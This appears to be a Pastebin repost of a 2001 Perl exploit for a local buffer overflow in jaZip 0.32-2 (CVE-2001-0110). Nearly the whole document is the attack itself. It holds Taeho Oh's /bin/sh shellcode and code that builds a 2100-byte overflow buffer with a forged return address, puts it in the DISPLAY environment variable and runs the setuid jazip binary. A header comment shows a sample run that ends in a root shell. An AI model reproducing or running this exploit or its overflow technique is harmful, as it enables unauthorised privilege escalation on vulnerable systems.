Advertisement
FlyFar

jaZip 0.32-2 - Local Buffer Overflow - CVE-2001-0110

Feb 24th, 2024
1,295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.07 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000
  4. ## <teleh0r@doglover.com> ||  http://teleh0r.cjb.net/
  5. ## Vulnerable: Turbolinux 6.0
  6. ##
  7. ## [teleh0r@localhost teleh0r]$ rpm -q jaZip
  8. ## jaZip-0.32-2
  9. ## [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl
  10. ## Address: 0xbffff7ac
  11. ## bash#
  12.  
  13.  
  14. $shellcode =                     # Shellcode by: Taeho Oh
  15.     "\xeb\x1f".                  #/* jmp 0x1f              */
  16.     "\x5e".                      #/* popl %esi             */
  17.     "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
  18.     "\x31\xc0".                  #/* xorl %eax,%eax        */
  19.     "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
  20.     "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
  21.     "\xb0\x0b".                  #/* movb $0xb,%al         */
  22.     "\x89\xf3".                  #/* movl %esi,%ebx        */
  23.     "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
  24.     "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
  25.     "\xcd\x80".                  #/* int $0x80             */
  26.     "\x31\xdb".                  #/* xorl %ebx,%ebx        */
  27.     "\x89\xd8".                  #/* movl %ebx,%eax        */
  28.     "\x40".                      #/* inc %eax              */
  29.     "\xcd\x80".                  #/* int $0x80             */
  30.     "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
  31.     "/bin/sh";                   #/* .string \"/bin/sh\"   */
  32.  
  33.  
  34. $ret = 0xbffff7ac;  # May have to be modified.
  35. $len = 2100;
  36. $nop = 'A';
  37.  
  38. if (@ARGV == 1) {
  39.     $offset = $ARGV[0];
  40. }
  41.  
  42. for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
  43.     $buffer .= $nop;
  44. }
  45.  
  46. $buffer .= $shellcode;
  47.  
  48. print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
  49. $new_ret = pack('l',($ret + $offset));
  50. $buffer .= $nop x 3; # May have to be modified / 5 for Debian.
  51.  
  52. for ($i += length($shellcode); $i < $len; $i += 4) {
  53.     $buffer .= $new_ret;
  54. }
  55.  
  56. if ($ENV{'DISPLAY'}) {
  57.     delete($ENV{'DISPLAY'});
  58. }
  59.  
  60. local($ENV{'DISPLAY'}) = $buffer;
  61. exec("/usr/X11R6/bin/jazip");
  62.  
  63.  
  64. # milw0rm.com [2001-01-25]
  65.          
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement